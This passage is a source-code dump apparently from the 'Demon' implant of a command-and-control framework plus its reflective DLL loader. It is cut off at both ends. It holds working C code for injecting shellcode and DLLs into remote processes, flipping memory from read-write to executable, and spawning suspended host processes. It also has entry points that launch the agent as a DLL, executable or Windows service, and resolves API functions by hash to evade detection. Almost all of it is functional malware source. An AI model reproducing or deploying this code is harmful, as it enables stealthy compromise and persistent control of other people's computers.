IN SIZE_T Size, IN UINT64 Offset, IN PVOID Argv, IN SIZE_T Argc ) { DWORD Status = INJECT_ERROR_FAILED; DWORD Tid = 0; HANDLE Process = NULL; HANDLE Thread = NULL; PVOID Memory = NULL; PVOID Param = NULL; BOOL IsWow64 = FALSE; /* check if required params have been specified */ if ( ( ( ! Handle ) && ( ! Pid ) ) || ( ( ! Payload ) && ( ! Size ) ) ) { return INJECT_ERROR_INVALID_PARAM; } /* set the process handle */ Process = Handle; /* if no handle has been specified then get process handle by Pid */ if ( ! Process ) { if ( ( Process = ProcessOpen( Pid, PROCESS_ALL_ACCESS ) ) == NULL ) { PRINTF( "[INJECT] Failed to open process handle: %d\n", NtGetLastError() ) Process = NULL; goto END; } else { PRINTF( "[INJECT] Opened process handle to %d: %x\n", Pid, Process ) } } else { PRINTF( "[INJECT] Using specified process handle: %x\n", Process ) } /* check the architecture matches */ if ( x64 && Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) { PUTS( "The OS is x86!" ) Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH; goto END; } IsWow64 = ProcessIsWow( Process ); if ( x64 && IsWow64 ) { PUTS( "The process target process is x86!" ) Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH; goto END; } else if ( ! x64 && Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_AMD64 && ! IsWow64 ) { PUTS( "The process target process is x64!" ) Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH; goto END; } /* allocate memory in the remote process */ if ( ! ( Memory = MmVirtualAlloc( DX_MEM_DEFAULT, Process, Size, PAGE_READWRITE ) ) ) { PUTS( "[INJECT] Failed allocating memory in remote process" ) goto END; } else { PRINTF( "[INJECT] Allocated memory in the remote process: %p\n", Memory ) } /* write payload into remote process memory */ if ( ! ( MmVirtualWrite( Process, Memory, Payload, Size ) ) ) { PUTS( "[INJECT] Failed to write payload into remote process" ) goto END; } else { PRINTF( "[INJECT] Wrote payload into remote process: %d written\n", Size ) } /* change allocated memory from RW to RX */ if ( ! ( MmVirtualProtect( DX_MEM_SYSCALL, Process, Memory, Size, PAGE_EXECUTE_READ ) ) ) { PUTS( "[INJECT] Failed to change memory protection" ) goto END; } else { PUTS( "[INJECT] Changed memory protection from RW to RX" ) } /* check if any args has been specified */ if ( Argv && ( Argc > 0 ) ) { /* allocate memory in the remote process */ if ( ! ( Param = MmVirtualAlloc( DX_MEM_DEFAULT, Process, Argc, PAGE_READWRITE ) ) ) { PUTS( "[INJECT] Failed allocating argument memory in remote process" ) goto END; } else { PRINTF( "[INJECT] Allocated argument memory in the remote process: %p\n", Param ) } /* write payload into remote process memory */ if ( ! ( MmVirtualWrite( Process, Param, Argv, Argc ) ) ) { PUTS( "[INJECT] Failed to write argument into remote process" ) goto END; } else { PRINTF( "[INJECT] Wrote argument into remote process: %d written\n", Argc ) } } /* create new thread in remote process */ if ( ( Thread = ThreadCreate( Method, Process, x64, C_PTR( Memory + Offset ), Param, &Tid ) ) ) { Status = INJECT_ERROR_SUCCESS; PRINTF( "[INJECT] Successful injected code into remote process: [Tid: %d]\n", Tid ); } else { PRINTF( "[INJECT] Failed to create a new thread: %d\n", NtGetLastError() ) } END: PUTS( "[INJECT] End of function. Cleanup start now" ) /* if we failed to inject the lets free up allocated memory */ if ( Status == INJECT_ERROR_FAILED ) { /* free allocated payload */ if ( Memory ) { MmVirtualFree( Process, Memory ); Memory = NULL; } /* free allocated param */ if ( Param ) { MmVirtualFree( Process, Param ); Param = NULL; } } /* only close process handle if it wasn't passed to the function */ if ( Process && ! Handle ) { SysNtClose( Process ); Process = NULL; } /* close thread handle */ if ( Thread ) { SysNtClose( Thread ); Thread = NULL; } return Status; } DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSize, LPVOID DllBuffer, DWORD DllLength, PVOID Parameter, SIZE_T ParamSize, PINJECTION_CTX ctx ) { PRINTF( "DllInjectReflective( %x, %x, %d, %x )\n", hTargetProcess, DllBuffer, DllLength, ctx ); NTSTATUS NtStatus = STATUS_SUCCESS; LPVOID MemParamsBuffer = NULL; LPVOID MemLibraryBuffer = NULL; LPVOID ReflectiveLdr = NULL; LPVOID FullDll = NULL; LPVOID MemRegion = NULL; DWORD MemRegionSize = 0; DWORD ReflectiveLdrOffset = 0; ULONG FullDllSize = 0; BOOL HasRDll = FALSE; DWORD ReturnValue = 0; SIZE_T BytesWritten = 0; BOOL x64 = Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ? FALSE : TRUE; if( ! DllBuffer || ! DllLength || ! hTargetProcess ) { PUTS( "Params == NULL" ) ReturnValue = -1; goto Cleanup; } if ( ProcessIsWow( hTargetProcess ) ) // check if remote process x86 { x64 = FALSE; if ( GetPeArch( DllBuffer ) != PROCESS_ARCH_X86 ) // check if dll is x64 { PUTS( "[ERROR] trying to inject a x64 payload into a x86 process. ABORT" ); return ERROR_INJECT_PROC_PAYLOAD_ARCH_DONT_MATCH_X64_TO_X86; } } else { if ( GetPeArch( DllBuffer ) != PROCESS_ARCH_X64 ) // check if dll is x64 { PUTS( "[ERROR] trying to inject a x86 payload into a x64 process. ABORT" ); return ERROR_INJECT_PROC_PAYLOAD_ARCH_DONT_MATCH_X86_TO_X64; } } if ( ( ReflectiveLdrOffset = GetReflectiveLoaderOffset( DllBuffer ) ) ) { PUTS( "The DLL has a Reflective Loader already defined" ); HasRDll = TRUE; FullDll = DllBuffer; FullDllSize = DllLength; } else { PUTS( "The DLL does not have a Reflective Loader defined, using KaynLdr" ); HasRDll = FALSE; FullDll = Instance->Win32.LocalAlloc( LPTR, DllLdrSize + DllLength ); FullDllSize = DllLdrSize + DllLength; MemCopy( FullDll, DllLdr, DllLdrSize ); MemCopy( FullDll + DllLdrSize, DllBuffer, DllLength ); } PRINTF( "Reflective Loader Offset => %x\n", ReflectiveLdrOffset ); // Alloc and write remote params PRINTF( "Params: Size:[%d] Pointer:[%p]\n", ParamSize, Parameter ) if ( ParamSize > 0 ) { MemParamsBuffer = MmVirtualAlloc( DX_MEM_DEFAULT, hTargetProcess, ParamSize, PAGE_READWRITE ); if ( MemParamsBuffer ) { PRINTF( "MemoryAlloc: Success allocated memory for parameters: ptr:[%p]\n", MemParamsBuffer ) NtStatus = SysNtWriteVirtualMemory( hTargetProcess, MemParamsBuffer, Parameter, ParamSize, &BytesWritten ); if ( ! NT_SUCCESS( NtStatus ) ) { PUTS( "NtWriteVirtualMemory: Failed to write memory for parameters" ) PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); ReturnValue = NtStatus; goto Cleanup; } else PUTS( "Successful wrote params into remote library memory" ); } else { PUTS( "NtAllocateVirtualMemory: Failed to allocate memory for parameters" ) PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); ReturnValue = -1; goto Cleanup; } } // Alloc and write remote library MemLibraryBuffer = MmVirtualAlloc( DX_MEM_DEFAULT, hTargetProcess, FullDllSize, PAGE_READWRITE ); if ( MemLibraryBuffer ) { PUTS( "[+] NtAllocateVirtualMemory: success" ); if ( NT_SUCCESS( NtStatus = SysNtWriteVirtualMemory( hTargetProcess, MemLibraryBuffer, FullDll, FullDllSize, &BytesWritten ) ) ) { // TODO: check to get the .text section and size of it PRINTF( "[+] NtWriteVirtualMemory: success: ptr[%p]\n", MemLibraryBuffer ); ReflectiveLdr = RVA( LPVOID, MemLibraryBuffer, ReflectiveLdrOffset ); MemRegion = MemLibraryBuffer - ( ( ( UINT_PTR ) MemLibraryBuffer ) % 8192 ); // size of shellcode? change it to rx MemRegionSize = 16384; BytesWritten = 0; // NtStatus = Instance->Win32.NtProtectVirtualMemory( hTargetProcess, &MemRegion, &MemRegionSize, PAGE_EXECUTE_READ, &OldProtect ); if ( MmVirtualProtect( DX_MEM_SYSCALL, hTargetProcess, MemRegion, MemRegionSize, PAGE_EXECUTE_READ ) ) { ctx->Parameter = MemParamsBuffer; PRINTF( "ctx->Parameter: %p\n", ctx->Parameter ) if ( ! ThreadCreate( THREAD_METHOD_NTCREATEHREADEX, hTargetProcess, x64, ReflectiveLdr, MemParamsBuffer, NULL ) ) { PRINTF( "[-] Failed to inject dll %d\n", NtGetLastError() ) PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); ReturnValue = -1; goto Cleanup; } ReturnValue = 0; goto Cleanup; } else { PUTS("[-] NtProtectVirtualMemory: failed") PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); ReturnValue = -1; goto Cleanup; } } else { PRINTF( "NtWriteVirtualMemory: Failed to write memory for library [%x]\n", NtStatus ) PackageTransmitError( 0x1, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); ReturnValue = NtStatus; goto Cleanup; } } PRINTF( "Failed to allocate memory: %d\n", NtGetLastError() ) ReturnValue = -1; Cleanup: if ( ! HasRDll && FullDll ) { MemSet( FullDll, 0, FullDllSize ); MmHeapFree( FullDll ); FullDll = NULL; } return ReturnValue; } DWORD DllSpawnReflective( LPVOID DllLdr, DWORD DllLdrSize, LPVOID DllBuffer, DWORD DllLength, PVOID Parameter, SIZE_T ParamSize, PINJECTION_CTX ctx ) { PRINTF( "Params( %x, %d, %x )\n", DllBuffer, DllLength, ctx ); PROCESS_INFORMATION ProcessInfo = { 0 }; PWCHAR SpawnProc = NULL; DWORD Result = 0; if ( GetPeArch( DllBuffer ) == PROCESS_ARCH_X86 ) // check if dll is x64 SpawnProc = Instance->Config.Process.Spawn86; else SpawnProc = Instance->Config.Process.Spawn64; /* Meh this is the default */ Result = ERROR_INJECT_FAILED_TO_SPAWN_TARGET_PROCESS; if ( ProcessCreate( TRUE, NULL, SpawnProc, CREATE_NO_WINDOW | CREATE_SUSPENDED, &ProcessInfo, TRUE, NULL ) ) { Result = DllInjectReflective( ProcessInfo.hProcess, DllLdr, DllLdrSize, DllBuffer, DllLength, Parameter, ParamSize, ctx ); if ( Result != 0 ) { PUTS( "Failed" ) ProcessTerminate( ProcessInfo.hProcess, 0 ); SysNtClose( ProcessInfo.hProcess ); SysNtClose( ProcessInfo.hThread ); } } return Result; } ================================================ FILE: payloads/Demon/src/inject/InjectUtil.c ================================================ #include #include #include #include #include #ifndef _WIN32 typedef ULONG NTSTATUS; #endif DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) { PIMAGE_SECTION_HEADER ImageSectionHeader; PIMAGE_NT_HEADERS ImageNtHeaders; ImageNtHeaders = RVA( PIMAGE_NT_HEADERS, uiBaseAddress, ( ( PIMAGE_DOS_HEADER ) uiBaseAddress )->e_lfanew ); ImageSectionHeader = RVA( PIMAGE_SECTION_HEADER, &ImageNtHeaders->OptionalHeader, ImageNtHeaders->FileHeader.SizeOfOptionalHeader ); if ( dwRva < ImageSectionHeader[ 0 ].PointerToRawData ) return dwRva; for ( WORD wIndex = 0; wIndex < ImageNtHeaders->FileHeader.NumberOfSections; wIndex++ ) { DWORD VirtualAddress = ImageSectionHeader[ wIndex ].VirtualAddress; if ( dwRva >= VirtualAddress && dwRva < ( VirtualAddress + ImageSectionHeader[ wIndex ].SizeOfRawData ) ) { return ( dwRva - VirtualAddress + ImageSectionHeader[ wIndex ].PointerToRawData ); } } return 0; } DWORD GetReflectiveLoaderOffset( PVOID ReflectiveLdrAddr ) { PIMAGE_NT_HEADERS NtHeaders = NULL; PIMAGE_EXPORT_DIRECTORY ExportDir = NULL; UINT_PTR AddrOfNames = 0; UINT_PTR AddrOfFunctions = 0; UINT_PTR AddrOfNameOrdinals = 0; DWORD FunctionCounter = 0; PCHAR FunctionName = NULL; NtHeaders = RVA( PIMAGE_NT_HEADERS, ReflectiveLdrAddr, ( ( PIMAGE_DOS_HEADER ) ReflectiveLdrAddr )->e_lfanew ); ExportDir = ReflectiveLdrAddr + Rva2Offset( NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress, ReflectiveLdrAddr ); AddrOfNames = ReflectiveLdrAddr + Rva2Offset( ExportDir->AddressOfNames, ReflectiveLdrAddr ); AddrOfNameOrdinals = ReflectiveLdrAddr + Rva2Offset( ExportDir->AddressOfNameOrdinals, ReflectiveLdrAddr ); FunctionCounter = ExportDir->NumberOfNames; while ( FunctionCounter-- ) { FunctionName = ( PCHAR )( ReflectiveLdrAddr + Rva2Offset( DEREF_32( AddrOfNames ), ReflectiveLdrAddr ) ); // ReflectiveLoader KaynLoader if ( HashStringA( FunctionName ) == 0xa6caa1c5 || HashStringA( FunctionName ) == 0xffe885ef ) { PRINTF( "FunctionName => %s\n", FunctionName ); AddrOfFunctions = ReflectiveLdrAddr + Rva2Offset( ExportDir->AddressOfFunctions, ReflectiveLdrAddr ); AddrOfFunctions += ( DEREF_16( AddrOfNameOrdinals ) * sizeof( DWORD ) ); return Rva2Offset( DEREF_32( AddrOfFunctions ), ReflectiveLdrAddr ); } AddrOfNames += sizeof( DWORD ); AddrOfNameOrdinals += sizeof( WORD ); } return 0; } DWORD GetPeArch( PVOID PeBytes ) { PIMAGE_NT_HEADERS NtHeader = NULL; DWORD DllArch = PROCESS_ARCH_UNKNOWN; if( ! PeBytes ) { return DllArch; } NtHeader = ( PIMAGE_NT_HEADERS ) ( ( ( UINT_PTR ) PeBytes ) + ( ( PIMAGE_DOS_HEADER ) PeBytes )->e_lfanew ); if ( NtHeader->OptionalHeader.Magic == 0x010B ) { DllArch = PROCESS_ARCH_X86; } else if ( NtHeader->OptionalHeader.Magic == 0x020B ) { DllArch = PROCESS_ARCH_X64; } return DllArch; } ================================================ FILE: payloads/Demon/src/main/MainDll.c ================================================ #include #include #ifndef SHELLCODE /* Export this for rundll32 or any other program that requires and exported functions... * TODO: make this function name optional/changeable in the payload generator.*/ DLLEXPORT VOID Start( ) { /* prevent exiting if started using rundll32 or something */ PVOID Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ); VOID ( WINAPI *DoSleep ) ( DWORD ) = LdrFunctionAddr( Kernel32, H_FUNC_SLEEP ); // calling sleep lowers the CPU consumed in this loop while ( TRUE ) { DoSleep( 24 * 60 * 60 * 1000 ); } } #endif /* this is our entrypoint for the Dll (also for shellcode) */ DLLEXPORT BOOL WINAPI DllMain( IN HINSTANCE hDllBase, IN DWORD Reason, _Inout_ LPVOID Reserved ) { PVOID Kernel32 = NULL; if ( Reason == DLL_PROCESS_ATTACH ) { #if !defined(SHELLCODE) && defined(DEBUG) /* if the dll is compiled in debug mode start a console to write our debug prints to */ AllocConsole(); freopen( "CONOUT$", "w", stdout ); #endif #ifdef SHELLCODE /* we dont need to make a new thread since we get loaded by our shellcode */ DemonMain( hDllBase, Reserved ); #else /* if we don't compile for the shellcode then start a new thread. * why? because if not then we get an ERROR_INVALID_STATE from WinHttpSendRequest * because we can't make HTTP requests in DllMain which seems that WinHTTP doesn't like */ Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ); HANDLE ( WINAPI *NewThread ) ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD ) = LdrFunctionAddr( Kernel32, H_FUNC_CREATETHREAD ); /* you can load another function here using * LdrModulePeb or LdrModuleLoad then LdrFunctionAddr */ NewThread( NULL, 0, C_PTR( DemonMain ), hDllBase, 0, NULL ); #endif return TRUE; } return FALSE; } ================================================ FILE: payloads/Demon/src/main/MainExe.c ================================================ #include INT WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nShowCmd ) { PRINTF( "WinMain: hInstance:[%p] hPrevInstance:[%p] lpCmdLine:[%s] nShowCmd:[%d]\n", hInstance, hPrevInstance, lpCmdLine, nShowCmd ) DemonMain( NULL, NULL ); return 0; } ================================================ FILE: payloads/Demon/src/main/MainSvc.c ================================================ #include /* Service handle and status variable */ SERVICE_STATUS_HANDLE StatusHandle = { 0 }; SERVICE_STATUS SvcStatus = { .dwServiceType = SERVICE_WIN32, .dwCurrentState = SERVICE_START_PENDING, .dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN, }; /* Service Functions */ VOID WINAPI SvcMain( DWORD dwArgc, LPTSTR* Argv ); VOID WINAPI SrvCtrlHandler( DWORD CtrlCode ); /* Our entrypoint for Windows service executable. */ INT WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nShowCmd ) { PRINTF( "WinMain (Service Main): hInstance:[%p]\n", hInstance ) SERVICE_TABLE_ENTRY DispatchTable[ ] = { { SERVICE_NAME, SvcMain }, { NULL, NULL } }; StartServiceCtrlDispatcherA( DispatchTable ); return 0; } /* Service executable entrypoint */ VOID WINAPI SvcMain( DWORD dwArgc, LPTSTR* Argv ) { StatusHandle = RegisterServiceCtrlHandlerA( SERVICE_NAME, SrvCtrlHandler ); if ( ! StatusHandle ) return; /* start our agent */ DemonMain( NULL, NULL ); } VOID WINAPI SrvCtrlHandler( DWORD CtrlCode ) { /* if we get any kind of exit code then it's time to say goodbye */ if ( ( CtrlCode == SERVICE_CONTROL_STOP ) || ( CtrlCode == SERVICE_CONTROL_SHUTDOWN ) ) { SvcStatus.dwWin32ExitCode = 0; SvcStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus( StatusHandle, &SvcStatus ); } } ================================================ FILE: payloads/DllLdr/Include/Core.h ================================================ #include #include #define NTDLL_HASH 0x70e61753 #define SYS_LDRLOADDLL 0x9e456a43 #define SYS_NTALLOCATEVIRTUALMEMORY 0xf783b8ec #define SYS_NTPROTECTEDVIRTUALMEMORY 0x50e92888 #define SYS_NTFLUSHINSTRUCTIONCACHE 0x6269b87f #define DLLEXPORT __declspec( dllexport ) #define NAKED __declspec( naked ) #define FORCE_INLINE __forceinline #define WIN32_FUNC( x ) __typeof__( x ) * x; #define U_PTR( x ) ( ( UINT_PTR ) x ) #define C_PTR( x ) ( ( LPVOID ) x ) #define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva) #define DLL_QUERY_HMODULE 6 #ifdef _WIN64 #define IMAGE_REL_TYPE IMAGE_REL_BASED_DIR64 #else #define IMAGE_REL_TYPE IMAGE_REL_BASED_HIGHLOW #endif typedef struct { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } U_STRING, *PU_STRING; typedef struct { struct { UINT_PTR Ntdll; } Modules; struct { NTSTATUS ( NTAPI *LdrLoadDll )( PWSTR DllPath, PULONG DllCharacteristics, PU_STRING DllName, PVOID *DllHandle ); NTSTATUS ( NTAPI *NtAllocateVirtualMemory ) ( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ); NTSTATUS ( NTAPI *NtProtectVirtualMemory ) ( HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect ); NTSTATUS ( NTAPI *NtFlushInstructionCache ) ( HANDLE ProcessHandle, PVOID BaseAddress, ULONG NumberOfBytesToFlush ); } Win32; } INSTANCE, *PINSTANCE; typedef struct { WORD offset :12; WORD type :4; } *PIMAGE_RELOC; LPVOID KaynCaller( PVOID StartAddress ); VOID Memcpy( PVOID Destination, PVOID source, SIZE_T Size ); PVOID KGetModuleByHash( DWORD hash ); PVOID KGetProcAddressByHash( PINSTANCE Instance, PVOID DllModuleBase, DWORD FunctionHash, DWORD Ordinal ); PVOID KLoadLibrary( PINSTANCE Instance, LPSTR Module ); VOID KResolveIAT( PINSTANCE Instance, PVOID KaynImage, PVOID IatDir ); VOID KReAllocSections( PVOID KaynImage, PVOID ImageBase, PVOID Dir ); DWORD KHashString( LPVOID String, SIZE_T Size ); SIZE_T KStringLengthA( LPCSTR String ); SIZE_T KStringLengthW( LPCWSTR String ); VOID KMemSet( PVOID Destination, INT Value, SIZE_T Size ); SIZE_T KCharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed ); ================================================ FILE: payloads/DllLdr/Include/Macro.h ================================================ #include #define HASH_KEY 5381 #ifdef _WIN64 #define PPEB_PTR __readgsqword( 0x60 ) #else #define PPEB_PTR __readfsdword( 0x30 ) #endif #define SEC( s, x ) __attribute__( ( section( "." #s "$" #x "" ) ) ) #define U_PTR( x ) ( ( UINT_PTR ) x ) #define C_PTR( x ) ( ( LPVOID ) x ) #define NtCurrentProcess() ( HANDLE ) ( ( HANDLE ) - 1 ) #define GET_SYMBOL( x ) ( ULONG_PTR )( GetRIP( ) - ( ( ULONG_PTR ) & GetRIP - ( ULONG_PTR ) x ) ) ================================================ FILE: payloads/DllLdr/Include/Native.h ================================================ typedef struct _myUNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } myUNICODE_STRING, *PmyUNICODE_STRING, **PPmyUNICODE_STRING; typedef struct _CURDIR { myUNICODE_STRING DosPath; HANDLE Handle; } CURDIR, *PCURDIR; #define GDI_HANDLE_BUFFER_SIZE32 34 #define GDI_HANDLE_BUFFER_SIZE64 60 #if !defined(_M_X64) #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 #else #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 #endif typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; BOOLEAN ShutdownInProgress; HANDLE ShutdownThreadId; } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsLegacyProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN SpareBits : 3; }; }; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PVOID ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; PVOID AtlThunkSListPtr; PVOID IFEOKey; union { ULONG CrossProcessFlags; struct { ULONG ProcessInJob : 1; ULONG ProcessInitializing : 1; ULONG ProcessUsingVEH : 1; ULONG ProcessUsingVCH : 1; ULONG ProcessUsingFTH : 1; ULONG ReservedBits0 : 27; }; ULONG EnvironmentUpdateCount; }; union { PVOID KernelCallbackTable; PVOID UserSharedInfoPtr; }; ULONG SystemReserved[1]; ULONG AtlThunkSListPtr32; PVOID ApiSetMap; ULONG TlsExpansionCounter; PVOID TlsBitmap; ULONG TlsBitmapBits[2]; PVOID ReadOnlySharedMemoryBase; PVOID HotpatchInformation; PVOID ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; ULONG NumberOfProcessors; ULONG NtGlobalFlag; LARGE_INTEGER CriticalSectionTimeout; SIZE_T HeapSegmentReserve; SIZE_T HeapSegmentCommit; SIZE_T HeapDeCommitTotalFreeThreshold; SIZE_T HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PVOID ProcessHeaps; PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; ULONG GdiDCAttributeList; PRTL_CRITICAL_SECTION LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; USHORT OSBuildNumber; USHORT OSCSDVersion; ULONG OSPlatformId; ULONG ImageSubsystem; ULONG ImageSubsystemMajorVersion; ULONG ImageSubsystemMinorVersion; ULONG_PTR ImageProcessAffinityMask; GDI_HANDLE_BUFFER GdiHandleBuffer; PVOID PostProcessInitRoutine; PVOID TlsExpansionBitmap; ULONG TlsExpansionBitmapBits[32]; ULONG SessionId; ULARGE_INTEGER AppCompatFlags; ULARGE_INTEGER AppCompatFlagsUser; PVOID pShimData; PVOID AppCompatInfo; myUNICODE_STRING CSDVersion; PVOID ActivationContextData; PVOID ProcessAssemblyStorageMap; PVOID SystemDefaultActivationContextData; PVOID SystemAssemblyStorageMap; SIZE_T MinimumStackCommit; PVOID FlsCallback; LIST_ENTRY FlsListHead; PVOID FlsBitmap; ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; ULONG FlsHighIndex; PVOID WerRegistrationData; PVOID WerShipAssertPtr; PVOID pContextData; PVOID pImageHeaderHash; union { ULONG TracingFlags; struct { ULONG HeapTracingEnabled : 1; ULONG CritSecTracingEnabled : 1; ULONG SpareTracingBits : 30; }; }; } PEB, *PPEB; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; myUNICODE_STRING FullDllName; myUNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks; PVOID ContextInformation; ULONG_PTR OriginalBase; LARGE_INTEGER LoadTime; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; ================================================ FILE: payloads/DllLdr/Scripts/extract.py ================================================ #!/usr/bin/env python3 # -*- coding:utf-8 -*- import sys import struct import argparse def main(options): with open(options.f, 'rb') as f: object_file = f.read() num_sections = struct.unpack(' #include #include DLLEXPORT VOID KaynLoader( LPVOID lpParameter ) { INSTANCE Instance = { 0 }; HMODULE KaynLibraryLdr = NULL; PIMAGE_NT_HEADERS NtHeaders = NULL; PIMAGE_SECTION_HEADER SecHeader = NULL; LPVOID KVirtualMemory = NULL; SIZE_T KMemSize = 0; PVOID SecMemory = NULL; SIZE_T SecMemorySize = 0; ULONG Protection = 0; ULONG OldProtection = 0; PIMAGE_DATA_DIRECTORY ImageDir = NULL; PVOID StartAddress = NULL; DWORD rva = 0; PIMAGE_TLS_DIRECTORY tls = 0; PIMAGE_TLS_CALLBACK *callbacks = NULL; // 0. First we need to get the DLL base StartAddress = RVA2VA( PVOID, KCharStringToWCharString, 0x70 ); KaynLibraryLdr = KaynCaller( StartAddress ); // ------------------------ // 1. Load needed Functions // ------------------------ Instance.Modules.Ntdll = KGetModuleByHash( NTDLL_HASH ); Instance.Win32.LdrLoadDll = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_LDRLOADDLL, 0 ); Instance.Win32.NtAllocateVirtualMemory = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_NTALLOCATEVIRTUALMEMORY, 0 ); Instance.Win32.NtProtectVirtualMemory = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_NTPROTECTEDVIRTUALMEMORY, 0 ); Instance.Win32.NtFlushInstructionCache = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_NTFLUSHINSTRUCTIONCACHE, 0 ); // --------------------------------------------------------------------------- // 2. Allocate virtual memory and copy headers and section into the new memory // --------------------------------------------------------------------------- NtHeaders = RVA2VA( PIMAGE_NT_HEADERS, KaynLibraryLdr, ( ( PIMAGE_DOS_HEADER ) KaynLibraryLdr )->e_lfanew ); KMemSize = NtHeaders->OptionalHeader.SizeOfImage; if ( NT_SUCCESS( Instance.Win32.NtAllocateVirtualMemory( NtCurrentProcess(), &KVirtualMemory, 0, &KMemSize, MEM_COMMIT, PAGE_READWRITE ) ) ) { // ---- Copy Headers into new allocated memory ---- Memcpy(KVirtualMemory, KaynLibraryLdr, NtHeaders->OptionalHeader.SizeOfHeaders); ( ( PIMAGE_NT_HEADERS ) KVirtualMemory )->OptionalHeader.ImageBase = KVirtualMemory; // ---- Copy Sections into new allocated memory ---- SecHeader = IMAGE_FIRST_SECTION( NtHeaders ); for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ ) { Memcpy( RVA2VA( PVOID, KVirtualMemory, SecHeader[ i ].VirtualAddress ), // Section New Memory RVA2VA( PVOID, KaynLibraryLdr, SecHeader[ i ].PointerToRawData ), // Section Raw Data SecHeader[ i ].SizeOfRawData // Section Size ); } // ---------------------------------- // 3. Process our images import table // ---------------------------------- ImageDir = & NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; if ( ImageDir->VirtualAddress ) KResolveIAT( &Instance, KVirtualMemory, RVA2VA( PVOID, KVirtualMemory, ImageDir->VirtualAddress ) ); // ---------------------------- // 4. Process image relocations // ---------------------------- ImageDir = & NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; if ( ImageDir->VirtualAddress ) KReAllocSections( KVirtualMemory, NtHeaders->OptionalHeader.ImageBase, RVA2VA( PVOID, KVirtualMemory, ImageDir->VirtualAddress ) ); // ---------------------------------- // 5. Set protection for each section // ---------------------------------- SecMemory = KVirtualMemory; SecMemorySize = NtHeaders->OptionalHeader.SizeOfHeaders; Protection = PAGE_READONLY; OldProtection = 0; Instance.Win32.NtProtectVirtualMemory( 